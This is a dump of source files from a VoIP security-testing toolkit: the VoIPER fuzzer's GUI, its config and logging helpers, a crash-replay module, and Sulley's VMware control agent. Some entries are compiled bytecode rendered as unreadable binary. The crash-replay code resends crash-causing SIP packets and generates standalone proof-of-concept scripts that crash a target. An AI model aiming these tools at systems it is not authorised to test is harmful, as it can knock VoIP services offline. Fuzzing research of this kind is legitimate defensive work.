wx.StaticText(id=wxID_MAINFRAMEPEDRPCSTATICTXT, label='PedRPC port', name='pedRPCStaticTxt', parent=self, pos=wx.Point(24, 184), size=wx.Size(61, 13), style=0) self.pedRpcPortTxtCtrl = wx.TextCtrl(id=wxID_MAINFRAMEPEDRPCPORTTXTCTRL, name='pedRpcPortTxtCtrl', parent=self, pos=wx.Point(144, 184), size=wx.Size(52, 21), style=wx.TE_RIGHT, value='26002') self.pedRpcPortTxtCtrl.Enable(False) self.staticText1 = wx.StaticText(id=wxID_MAINFRAMESTATICTEXT1, label='Start Cmd', name='staticText1', parent=self, pos=wx.Point(24, 248), size=wx.Size(48, 13), style=0) self.startCmdTxtCtrl = wx.TextCtrl(id=wxID_MAINFRAMESTARTCMDTXTCTRL, name='startCmdTxtCtrl', parent=self, pos=wx.Point(96, 248), size=wx.Size(100, 21), style=0, value='Target start cmd') self.startCmdTxtCtrl.Enable(False) self.stopCmdStaticTxt = wx.StaticText(id=wxID_MAINFRAMESTOPCMDSTATICTXT, label='Stop Cmd', name='stopCmdStaticTxt', parent=self, pos=wx.Point(24, 280), size=wx.Size(46, 13), style=0) self.stopCmdTxtCtrl = wx.TextCtrl(id=wxID_MAINFRAMESTOPCMDTXTCTRL, name='stopCmdTxtCtrl', parent=self, pos=wx.Point(96, 280), size=wx.Size(100, 21), style=0, value='TERMINATE_PID') self.stopCmdTxtCtrl.Enable(False) self.optionalStaticBox = wx.StaticBox(id=wxID_MAINFRAMEOPTIONALSTATICBOX, label='Optional', name='optionalStaticBox', parent=self, pos=wx.Point(296, 128), size=wx.Size(248, 120), style=0) self.wfrCheckBox = wx.CheckBox(id=wxID_MAINFRAMEWFRCHECKBOX, label='', name='wfrCheckBox', parent=self, pos=wx.Point(512, 152), size=wx.Size(16, 13), style=0) self.wfrCheckBox.SetValue(False) self.wfrStaticText = wx.StaticText(id=wxID_MAINFRAMEWFRSTATICTEXT, label='Wait for client registration', name='wfrStaticText', parent=self, pos=wx.Point(312, 152), size=wx.Size(125, 13), style=0) self.skipStaticText = wx.StaticText(id=wxID_MAINFRAMESKIPSTATICTEXT, label='Tests to skip', name='skipStaticText', parent=self, pos=wx.Point(312, 184), size=wx.Size(60, 13), style=0) self.skipTxtCtrl = wx.TextCtrl(id=wxID_MAINFRAMESKIPTXTCTRL, name='skipTxtCtrl', parent=self, pos=wx.Point(474, 184), size=wx.Size(50, 21), style=wx.TE_RIGHT, value='0') self.maxStringStaticText = wx.StaticText(id=wxID_MAINFRAMEMAXSTRINGSTATICTEXT, label='Max fuzz data', name='maxStringStaticText', parent=self, pos=wx.Point(312, 216), size=wx.Size(86, 13), style=0) self.maxStringTxtCtrl = wx.TextCtrl(id=wxID_MAINFRAMEMAXSTRINGTXTCTRL, name='maxStringTxtCtrl', parent=self, pos=wx.Point(474, 216), size=wx.Size(50, 21), style=wx.TE_RIGHT, value='8192') self.staticLine1 = wx.StaticLine(id=wxID_MAINFRAMESTATICLINE1, name='staticLine1', parent=self, pos=wx.Point(48, 338), size=wx.Size(464, 2), style=0) self.logStaticBox = wx.StaticBox(id=wxID_MAINFRAMELOGSTATICBOX, label='Log', name='logStaticBox', parent=self, pos=wx.Point(8, 360), size=wx.Size(536, 336), style=0) self.logTxtCtrl = wx.TextCtrl(id=wxID_MAINFRAMELOGTXTCTRL, name='logTxtCtrl', parent=self, pos=wx.Point(16, 448), size=wx.Size(520, 232), style=wx.VSCROLL | wx.TE_MULTILINE | wx.TE_LINEWRAP | wx.TE_READONLY, value='VoIPER - VoIP Exploit Research toolkit ' + VERSION + ' by nnp\nhttp://voiper.sourceforge.net\n\n') self.logTxtCtrl.SetMaxLength(0) self.logTxtCtrl.Bind(wx.EVT_TEXT_MAXLEN, self.OnLogTxtCtrlTextMaxlen, id=wxID_MAINFRAMELOGTXTCTRL) self.ctrlPanelStaticBox = wx.StaticBox(id=wxID_MAINFRAMECTRLPANELSTATICBOX, label='Control Panel', name='ctrlPanelStaticBox', parent=self, pos=wx.Point(296, 262), size=wx.Size(248, 48), style=0) self.startButton = wx.Button(id=wxID_MAINFRAMESTARTBUTTON, label='Start', name='startButton', parent=self, pos=wx.Point(312, 280), size=wx.Size(75, 23), style=0) self.startButton.Bind(wx.EVT_BUTTON, self.OnStartButtonButton, id=wxID_MAINFRAMESTARTBUTTON) self.pauseButton = wx.Button(id=wxID_MAINFRAMEPAUSEBUTTON, label='Pause', name='pauseButton', parent=self, pos=wx.Point(456, 280), size=wx.Size(75, 23), style=0) self.pauseButton.Bind(wx.EVT_BUTTON, self.OnPauseButtonButton, id=wxID_MAINFRAMEPAUSEBUTTON) self.progressGuage = wx.Gauge(id=wxID_MAINFRAMEPROGRESSGUAGE, name='progressGuage', parent=self, pos=wx.Point(16, 408), range=1000, size=wx.Size(520, 28), style=wx.GA_HORIZONTAL) self.testsSentTxtCtrl = wx.StaticText(id=wxID_MAINFRAMETESTSSENTTXTCTRL, label=' Sent 0/0 test cases', name='testsSentTxtCtrl', parent=self, pos=wx.Point(16, 384), size=wx.Size(96, 13), style=0) self.restartIntervalStaticText = wx.StaticText(id=wxID_MAINFRAMERESTARTINTERVALSTATICTEXT, label='Restart Interval', name='restartIntervalStaticText', parent=self, pos=wx.Point(24, 216), size=wx.Size(77, 13), style=0) self.restartIntervalTxtCtrl = wx.TextCtrl(id=wxID_MAINFRAMERESTARTINTERVALTXTCTRL, name='restartIntervalTxtCtrl', parent=self, pos=wx.Point(136, 216), size=wx.Size(60, 21), style=wx.TE_RIGHT, value='None') self.restartIntervalTxtCtrl.Enable(False) self.detectedCrashesStaticTxt = wx.StaticText(id=wxID_MAINFRAMEDETECTEDCRASHESSTATICTXT, label='0 detected crashes', name='detectedCrashesStaticTxt', parent=self, pos=wx.Point(440, 384), size=wx.Size(92, 13), style=0) self._init_sizers() def get_fuzzers(self): for object in dir(fuzzers): if object.find('Fuzzer') != -1 and object.find('Abstract') == -1: self.fuzzer_list.append(object) def __init__(self, parent): self.fuzzer_list = ['Select a fuzzer'] self.verbosity = 2 self.started = False self.paused = False self.get_fuzzers() self._init_ctrls(parent) def gatherOptions(self): self.fuzzer = self.fuzzerComboBox.GetValue() self.targetHost = self.targetHostTxtCtrl.GetValue() self.targetPort = self.targetPortTxtCtrl.GetValue() self.sessionName = self.sessionNameTxtCtrl.GetValue() self.crashDetectionLevel = self.levelComboBox.GetValue() self.pedRpcRemotePort = self.pedRpcPortTxtCtrl.GetValue() self.startCmd = self.startCmdTxtCtrl.GetValue() self.stopCmd = self.stopCmdTxtCtrl.GetValue() self.wfr = self.wfrCheckBox.GetValue() self.skipTestNum = self.skipTxtCtrl.GetValue() self.restartInterval = self.restartIntervalTxtCtrl.GetValue() self.maxStringLen = self.maxStringTxtCtrl.GetValue() def checkOptions(self): if self.fuzzer == 'Select a fuzzer': return 'Select a fuzzer' if len(self.targetHost) == 0: return 'Please enter a target host' if len(self.targetPort) == 0: return 'Please enter a target port' try: self.targetPort = int(self.targetPort) except: return 'Positive integer required for target port' if len(self.sessionName) == 0 or self.sessionName == "Audit folder in sessions/": return 'Please enter a session name' else: self.sessionName = '/'.join(["sessions", self.sessionName]) if self.restartInterval == 'None' or self.restartInterval == '0': self.restartInterval = 0 else: try: self.restartInterval= int(self.restartInterval) if self.restartInterval < 0: return 'Positive integer required for restart interval' except: return 'Positive integer required for restart interval' self.crashDetectionLevel = int(self.crashDetectionLevel) if self.crashDetectionLevel == 3: if len(self.pedRpcRemotePort) == 0: return 'PedRPC port required for crash detection/target management level 3(Default=26002)' try: self.pedRpcRemotePort = int(self.pedRpcRemotePort) except: return 'Positive integer required for PEDRPC port' if len(self.startCmd) == 0: return 'Start command required for crash detection/target management level 3 with restart interval' if len(self.stopCmd) == 0: return 'Stop command required for crash detection/target management level 3(Default=TERMINATE_PID with restart interval' try: self.skipTestNum = int(self.skipTestNum) if self.skipTestNum < 0: return 'Positive integer required for number of tests to skip' except: return 'Positive integer required for number of tests to skip' try: self.maxStringLen = int(self.maxStringLen) if self.skipTestNum < 0: return 'Positive integer required for max fuzz string length' except: return 'Positive integer required for max fuzz string length' return self.checkSessionDir() def waitForRegister(self): sr = SIPRegistrar('0.0.0.0', 5060) sr.log = self.updateLog self.updateLog('[+] Waiting for register request') sr.waitForRegister() def checkSessionDir(self): if not os.path.exists(self.sessionName): self.updateLog('[!] Path %s does not exist or we do not have sufficient permissions.' % self.sessionName) self.updateLog('[+] Attempting to create %s' % self.sessionName) os.mkdir(self.sessionName) if not os.path.exists(self.sessionName): self.updateLog('[!] Could not create directory %s. Please provide a different path') return 'Error creating or using the provided session directory. See log for details' else: self.updateLog('[+] Successfully created %s' % self.sessionName) return None def OnStartButtonButton(self, event): # gather options and perform checks if self.started == False: self.gatherOptions() errMsg = self.checkOptions() if errMsg: wx.MessageDialog(self, errMsg, caption="Error", style=wx.OK).ShowModal() else: self.logTxtCtrl.AppendText('-=-'*30 + '\n') self.fuzzer_obj = eval(self.fuzzer + '(self.sessionName, "udp", self.targetHost,\ self.targetPort, int(self.crashDetectionLevel), self.skipTestNum, \ self.startCmd, self.stopCmd, self.pedRpcRemotePort, self.restartInterval, \ self.updateLog, max_len=self.maxStringLen)') # Some code to make the 'low coupling, high cohesion' people cry self.fuzzer_obj.sess.running_flag = True if self.crashDetectionLevel == 3: self.fuzzer_obj.target.running_flag = True self.fuzzer_obj.target.procmon.running_flag = True self.fuzzer_obj.using_GUI = True self.fuzzer_obj.pause_GUI = self.OnPauseButtonButtonNoEvent # override some methods in the fuzzer with our methods self.fuzzer_obj.sess.updateProgressBar = self.updateProgressBar self.fuzzer_obj.sess.update_GUI_crashes = self.updateDetectedCrashes if self.wfr: self.fuzzer_obj.sess.waitForRegister = self.waitForRegister self.waitForRegister() self.startButton.Label = "Stop" self.fuzzer_thread = threading.Thread(target=self.fuzzer_obj.fuzz) self.fuzzer_thread.start() self.paused = False self.pauseButton.Label = "Pause" self.fuzzer_obj.sess.pause_flag = False self.started = True else: # we are a stop button now so stop the fuzzer self.fuzzer_obj.sess.running_flag = False if self.crashDetectionLevel == 3: self.fuzzer_obj.target.running_flag = False self.fuzzer_obj.target.procmon.running_flag = False if self.fuzzer_obj.__dict__.has_key('invite_canceler'): self.fuzzer_obj.invite_canceler.kill_cancel_threads() self.started = False #self.fuzzer.stop() self.startButton.Label = "Start" def OnLevelComboBoxCombobox(self, event): if self.levelComboBox.GetValue() == '3': self.pedRpcPortTxtCtrl.Enabled = True self.startCmdTxtCtrl.Enabled = True self.stopCmdTxtCtrl.Enabled = True self.restartIntervalTxtCtrl.Enabled = True else: self.pedRpcPortTxtCtrl.Enabled = False self.startCmdTxtCtrl.Enabled = False self.stopCmdTxtCtrl.Enabled = False self.restartIntervalTxtCtrl.Enabled = False def OnFuzzerComboBoxCombobox(self, event): fuzzer = self.fuzzerComboBox.GetValue() h = eval(fuzzer + ".info()") self.updateLog(h + '\n', showTime=False) def OnLogTxtCtrlTextMaxlen(self, event): # if the log window is full (apparently about 32k characters) # dump to a file and clear log_name = time.ctime().replace(" ", "") + ".log" outputFile = open(log_name, 'w') outputFile.write(self.logTxtCtrl.GetValue()) outputFile.close() self.logTxtCtrl.Clear() self.updateLog("[!] Log max length reached. Dumped to " + log_name) def updateLog(self, text, level=1, showTime=True): if level <= self.verbosity: if showTime: self.logTxtCtrl.AppendText("[%s] %s\n" % (time.strftime("%H:%M.%S"),text)) else: self.logTxtCtrl.AppendText(text) def updateProgressBar(self, x, y): ''' @type x: Integer @param x: Number of fuzz cases sent so far @type y: Integer @param y: Total number of fuzz cases ''' self.testsSentTxtCtrl.SetLabel(" Sent %d/%d test cases" % (x, y)) val = float(x)/float(y) * 1000 self.progressGuage.SetValue(val) def updateDetectedCrashes(self, crashes): if crashes == 1: label = "1 detected crash" else: label = "%d detected crashes" % crashes self.detectedCrashesStaticTxt.SetLabel(label) def OnPauseButtonButtonNoEvent(self): self.OnPauseButtonButton(None) def OnPauseButtonButton(self, event): if self.started and self.paused == False: self.paused = True self.pauseButton.Label = "Restart" self.fuzzer_obj.sess.pause_flag = True elif self.started: self.paused = False self.pauseButton.Label = "Pause" self.fuzzer_obj.sess.pause_flag = False
22,384
Python
.py
387
45.568475
140
0.649422
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,868
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/gui/__init__.py
''' This file is part of VoIPER. VoIPER is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. VoIPER is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with VoIPER. If not, see <http://www.gnu.org/licenses/>. Copyright 2008, http://www.unprotectedhex.com Contact: nnp@unprotectedhex.com ''' __all__ = ['basicFrame']
737
Python
.py
16
44.75
68
0.796089
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,869
config.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/misc/config.py
''' This file is part of VoIPER. VoIPER is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. VoIPER is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with VoIPER. If not, see <http://www.gnu.org/licenses/>. Copyright 2008, http://www.unprotectedhex.com Contact: nnp@unprotectedhex.com ''' def parse_config(f_name): in_file = open(f_name, 'r') res_dict = {} for num, line in enumerate(in_file): line = line.strip() if line.startswith('#') or len(line) == 0: continue if line.find('=') == -1: return (None, num) parts = line.split('=') if len(parts) != 2: return (None, num) part0 = parts[0].strip() part1 = parts[1].strip() if part1.lower() == 'false': part1 = False elif part1.lower() == 'true': part1 = True res_dict[part0] = part1 in_file.close() return (res_dict, 0)
1,330
Python
.py
33
35
68
0.674746
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,870
utilities.pyc
pwnieexpress_raspberry_pwn/src/pentest/voiper/misc/utilities.pyc
Ñò âпMc@s)dZddkZddd„ƒYZdS(sÀ This file is part of VoIPER. VoIPER is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. VoIPER is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with VoIPER. If not, see <http://www.gnu.org/licenses/>. Copyright 2008, http://www.unprotectedhex.com Contact: nnp@unprotectedhex.com iÿÿÿÿNtLoggercBs eZdd„Zdd„ZRS(icCs ||_dS(N(t verbosity(tselfR((s!/pentest/voiper/misc/utilities.pyt__init__sicCs0||ijodtidƒ|fGHndS(sf Default log function. Prints text to stdout. Override for different logging methods. s[%s] %ss%H:%M.%SN(Rttimetstrftime(Rttexttlevel((s!/pentest/voiper/misc/utilities.pytlogs(t__name__t __module__RR(((s!/pentest/voiper/misc/utilities.pyRs ((t__doc__RR(((s!/pentest/voiper/misc/utilities.pyt<module>s 
1,585
Python
.py
19
81.368421
317
0.583493
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,871
__init__.pyc
pwnieexpress_raspberry_pwn/src/pentest/voiper/misc/__init__.pyc
—Ú ‚–øMc@sdZddgZdS(s¿ This file is part of VoIPER. VoIPER is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. VoIPER is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with VoIPER. If not, see <http://www.gnu.org/licenses/>. Copyright 2008, http://www.unprotectedhex.com Contact: nnp@unprotectedhex.com t utilitiestcrash_replay_utilitiesN(t__doc__t__all__(((s /pentest/voiper/misc/__init__.pyt<module>s
913
Python
.py
16
55.8125
147
0.719239
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,872
config.pyc
pwnieexpress_raspberry_pwn/src/pentest/voiper/misc/config.pyc
—Ú ‚–øMc@sdZdÑZdS(s¿ This file is part of VoIPER. VoIPER is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. VoIPER is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with VoIPER. If not, see <http://www.gnu.org/licenses/>. Copyright 2008, http://www.unprotectedhex.com Contact: nnp@unprotectedhex.com cCs.t|dÉ}h}xt|ÉD]Ù\}}|iÉ}|idÉpt|Édjoq"n|idÉdjo d|fS|idÉ}t|Édjo d|fS|diÉ}|diÉ}|iÉdjo t }n|iÉd jo t }n|||<q"W|i É|dfS( Ntrt#it=iˇˇˇˇiitfalsettrue( topent enumeratetstript startswithtlentfindtNonetsplittlowertFalsetTruetclose(tf_nametin_filetres_dicttnumtlinetpartstpart0tpart1((s/pentest/voiper/misc/config.pyt parse_configs*  #     N(t__doc__R(((s/pentest/voiper/misc/config.pyt<module>s
1,576
Python
.py
24
64.5
279
0.560362
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,873
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/misc/__init__.py
''' This file is part of VoIPER. VoIPER is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. VoIPER is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with VoIPER. If not, see <http://www.gnu.org/licenses/>. Copyright 2008, http://www.unprotectedhex.com Contact: nnp@unprotectedhex.com ''' __all__ = ['utilities', 'crash_replay_utilities',]
763
Python
.py
16
46.375
68
0.793801
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,874
utilities.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/misc/utilities.py
''' This file is part of VoIPER. VoIPER is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. VoIPER is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with VoIPER. If not, see <http://www.gnu.org/licenses/>. Copyright 2008, http://www.unprotectedhex.com Contact: nnp@unprotectedhex.com ''' import time class Logger: def __init__(self, verbosity=2): self.verbosity = verbosity def log(self, text, level=1): ''' Default log function. Prints text to stdout. Override for different logging methods. ''' if level <= self.verbosity: print "[%s] %s" % (time.strftime("%H:%M.%S"),text)
1,071
Python
.py
25
38.8
92
0.734951
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,875
crash_replay_utilities.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/misc/crash_replay_utilities.py
''' This file is part of VoIPER. VoIPER is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 2 of the License, or (at your option) any later version. VoIPER is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with VoIPER. If not, see <http://www.gnu.org/licenses/>. Copyright 2008, http://www.unprotectedhex.com Contact: nnp@unprotectedhex.com ''' import time import os from socket import * from protocol_logic.sip_utilities import SIPInviteCanceler class CrashFile: def __init__(self, name): self.name = name self.contents = '' class CrashFileReplay: def __init__(self, host, port, timeout=0): ''' Takes a directory and allows the user to replay every file with the .crashlog extension in it @type host: String @param host: The host to send the crash files to @type port: Integer @param: The port to send the crash files to @type timeout: Integer @param timeout: (Optional) Timeout to send a cancel for the replayed request if possible ''' self.host = host self.port = port self.timeout = timeout self.crash_files = [] if timeout != 0: self.canceler = SIPInviteCanceler(host, port, timeout) self.poc_template = '''# Created by VoIPER # http://www.unprotectedhex.com import sys from socket import * if len(sys.argv) != 3: sys.exit(-1) host = sys.argv[1] port = int(sys.argv[2]) kill_msg = \'\'\'PLACEHOLDER\'\'\' print '[+] Host : ' + host print '[+] Port : ' + str(port) s = socket(AF_INET, SOCK_DGRAM) print 'Sent ' + str(s.sendto(kill_msg, (host, port))) + ' bytes' s.close() ''' def __send_cancel(self, sock, data): ''' @type sock: Socket @param sock: The socket used to send 'data' @type data: String @param data: The data sent to the target constituting the request to be cancelled ''' self.canceler.cancel(sock, data) def parse_directory(self, directory): ''' Parses the directory specified for crashlog files and adds them to a class list @type directory: String @param directory: The directory containing the .crashlog files to replay ''' self.directory = directory dirList = os.listdir(directory) for fname in dirList: if fname.find('.crashlog') != -1: self.crash_files.append(CrashFile(fname)) def replay_name(self, name): ''' Sends the crashlog specified by name to the host:port @type name: String @param name: The path of the crashlog file to replay ''' s = socket(AF_INET, SOCK_DGRAM) file = open(name, 'r') contents = file.read() file.close() s.sendto(contents, (self.host, self.port)) if self.timeout != 0: self.__send_cancel(s, contents) print "[+] Request is being cancelled. Waiting for %d + 1 seconds" % self.timeout time.sleep(self.timeout+1) else: # the canceller will take care of this otherwise s.close() def replay_num(self, num): ''' Sends the crashlog specified by num to the host:port @type num: Integer @param num: Index into the crash_files array of the file to send ''' s = socket(AF_INET, SOCK_DGRAM) file = open(self.directory + '/' + self.crash_files[num].name, 'r') contents = file.read() file.close() s.sendto(contents, (self.host, self.port)) if self.timeout != 0: self.__send_cancel(s, contents) print "[+] Request is being cancelled. Waiting for %d + 1 seconds" % self.timeout time.sleep(self.timeout+1) else: # the canceller will take care of this otherwise s.close() def create_poc(self, crash_file_name, out_file_name): ''' Creates a self contained proof of concept python script for the give crash file. If a timeout was specified when creating this class then the cancel request will be included in that POC with the given timeout @type crash_file_name: String @param crash_file_name: The name of the file that caused a crash @type out_file_name: String @param out_file_name: The name of the file to create ''' crash_file = open(crash_file_name, 'r') crash_contents = crash_file.read() crash_file.close() out_file = open(out_file_name, 'wb') out_data = self.poc_template.replace('PLACEHOLDER', crash_contents) out_file.write(out_data) out_file.close()
5,145
Python
.py
131
31.48855
93
0.634304
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,876
vmcontrol.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/vmcontrol.py
#!c:\\python\\python.exe import os import sys import time import getopt try: from win32api import GetShortPathName from win32com.shell import shell except: if os.name == "nt": print "[!] Failed to import win32api/win32com modules, please install these! Bailing..." sys.exit(1) from sulley import pedrpc PORT = 26003 ERR = lambda msg: sys.stderr.write("ERR> " + msg + "\n") or sys.exit(1) USAGE = "USAGE: vmcontrol.py" \ "\n <-x|--vmx FILENAME> path to VMX to control" \ "\n <-r|--vmrun FILENAME> path to vmrun.exe" \ "\n [-s|--snapshot NAME> set the snapshot name" \ "\n [-l|--log_level LEVEL] log level (default 1), increase for more verbosity" \ "\n [-i|--interactive] Interactive mode, prompts for input values" \ "\n [--port PORT] TCP port to bind this agent to" ######################################################################################################################## class vmcontrol_pedrpc_server (pedrpc.server): def __init__ (self, host, port, vmrun, vmx, snap_name=None, log_level=1, interactive=False): ''' @type host: String @param host: Hostname or IP address to bind server to @type port: Integer @param port: Port to bind server to @type vmrun: String @param vmrun: Path to VMWare vmrun.exe @type vmx: String @param vmx: Path to VMX file @type snap_name: String @param snap_name: (Optional, def=None) Snapshot name to revert to on restart @type log_level: Integer @param log_level: (Optional, def=1) Log output level, increase for more verbosity @type interactive: Boolean @param interactive: (Option, def=False) Interactive mode, prompts for input values ''' # initialize the PED-RPC server. pedrpc.server.__init__(self, host, port) self.host = host self.port = port self.interactive = interactive if interactive: print "[*] Entering interactive mode..." # get vmrun path try: while 1: print "[*] Please browse to the folder containing vmrun.exe..." pidl, disp, imglist = shell.SHBrowseForFolder(0, None, "Please browse to the folder containing vmrun.exe:") fullpath = shell.SHGetPathFromIDList(pidl) file_list = os.listdir(fullpath) if "vmrun.exe" not in file_list: print "[!] vmrun.exe not found in selected folder, please try again" else: vmrun = fullpath + "\\vmrun.exe" print "[*] Using %s" % vmrun break except: print "[!] Error while trying to find vmrun.exe. Try again without -I." sys.exit(1) # get vmx path try: while 1: print "[*] Please browse to the folder containing the .vmx file..." pidl, disp, imglist = shell.SHBrowseForFolder(0, None, "Please browse to the folder containing the .vmx file:") fullpath = shell.SHGetPathFromIDList(pidl) file_list = os.listdir(fullpath) exists = False for file in file_list: idx = file.find(".vmx") if idx == len(file) - 4: exists = True vmx = fullpath + "\\" + file print "[*] Using %s" % vmx if exists: break else: print "[!] No .vmx file found in the selected folder, please try again" except: raise print "[!] Error while trying to find the .vmx file. Try again without -I." sys.exit(1) # Grab snapshot name and log level if we're in interactive mode if interactive: snap_name = raw_input("[*] Please enter the snapshot name: ") log_level = raw_input("[*] Please enter the log level (default 1): ") if log_level: log_level = int(log_level) else: log_level = 1 # if we're on windows, get the DOS path names if os.name == "nt": self.vmrun = GetShortPathName(r"%s" % vmrun) self.vmx = GetShortPathName(r"%s" % vmx) else: self.vmrun = vmrun self.vmx = vmx self.snap_name = snap_name self.log_level = log_level self.interactive = interactive self.log("VMControl PED-RPC server initialized:") self.log("\t vmrun: %s" % self.vmrun) self.log("\t vmx: %s" % self.vmx) self.log("\t snap name: %s" % self.snap_name) self.log("\t log level: %d" % self.log_level) self.log("Awaiting requests...") def alive (self): ''' Returns True. Useful for PED-RPC clients who want to see if the PED-RPC connection is still alive. ''' return True def log (self, msg="", level=1): ''' If the supplied message falls under the current log level, print the specified message to screen. @type msg: String @param msg: Message to log ''' if self.log_level >= level: print "[%s] %s" % (time.strftime("%I:%M.%S"), msg) def set_vmrun (self, vmrun): self.log("setting vmrun to %s" % vmrun, 2) self.vmrun = vmrun def set_vmx (self, vmx): self.log("setting vmx to %s" % vmx, 2) self.vmx = vmx def set_snap_name (self, snap_name): self.log("setting snap_name to %s" % snap_name, 2) self.snap_name = snap_name def vmcommand (self, command): ''' Execute the specified command, keep trying in the event of a failure. @type command: String @param command: VMRun command to execute ''' while 1: self.log("executing: %s" % command, 5) pipe = os.popen(command) out = pipe.readlines() try: pipe.close() except IOError: self.log("IOError trying to close pipe") if not out: break elif not out[0].lower().startswith("close failed"): break self.log("failed executing command '%s' (%s). will try again." % (command, out)) time.sleep(1) return "".join(out) ### ### VMRUN COMMAND WRAPPERS ### def delete_snapshot (self, snap_name=None): if not snap_name: snap_name = self.snap_name self.log("deleting snapshot: %s" % snap_name, 2) command = self.vmrun + " deleteSnapshot " + self.vmx + " " + '"' + snap_name + '"' return self.vmcommand(command) def list (self): self.log("listing running images", 2) command = self.vmrun + " list" return self.vmcommand(command) def list_snapshots (self): self.log("listing snapshots", 2) command = self.vmrun + " listSnapshots " + self.vmx return self.vmcommand(command) def reset (self): self.log("resetting image", 2) command = self.vmrun + " reset " + self.vmx return self.vmcommand(command) def revert_to_snapshot (self, snap_name=None): if not snap_name: snap_name = self.snap_name self.log("reverting to snapshot: %s" % snap_name, 2) command = self.vmrun + " revertToSnapshot " + self.vmx + " " + '"' + snap_name + '"' return self.vmcommand(command) def snapshot (self, snap_name=None): if not snap_name: snap_name = self.snap_name self.log("taking snapshot: %s" % snap_name, 2) command = self.vmrun + " snapshot " + self.vmx + " " + '"' + snap_name + '"' return self.vmcommand(command) def start (self): self.log("starting image", 2) command = self.vmrun + " start " + self.vmx return self.vmcommand(command) def stop (self): self.log("stopping image", 2) command = self.vmrun + " stop " + self.vmx return self.vmcommand(command) def suspend (self): self.log("suspending image", 2) command = self.vmrun + " suspend " + self.vmx return self.vmcommand(command) ### ### EXTENDED COMMANDS ### def restart_target (self): self.log("restarting virtual machine...") # revert to the specified snapshot and start the image. self.revert_to_snapshot() self.start() # wait for the snapshot to come alive. self.wait() def is_target_running (self): vmx_trimmed = "\\".join(self.vmx.split("\\")[:-1]) return vmx_trimmed.lower() in self.list().lower() def wait (self): self.log("waiting for vmx to come up: %s" % self.vmx) while 1: if self.is_target_running(): break ######################################################################################################################## if __name__ == "__main__": # parse command line options. try: opts, args = getopt.getopt(sys.argv[1:], "x:r:s:l:i", ["vmx=", "vmrun=", "snapshot=", "log_level=", "interactive", "port="]) except getopt.GetoptError: ERR(USAGE) vmrun = r"C:\progra~1\vmware\vmware~1\vmrun.exe" vmx = None snap_name = None log_level = 1 interactive = False for opt, arg in opts: if opt in ("-x", "--vmx"): vmx = arg if opt in ("-r", "--vmrun"): vmrun = arg if opt in ("-s", "--snapshot"): snap_name = arg if opt in ("-l", "--log_level"): log_level = int(arg) if opt in ("-i", "--interactive"): interactive = True if opt in ("--port"): PORT = int(arg) # OS check if not os.name == "nt": print "[!] Interactive mode currently only works on Windows operating systems." 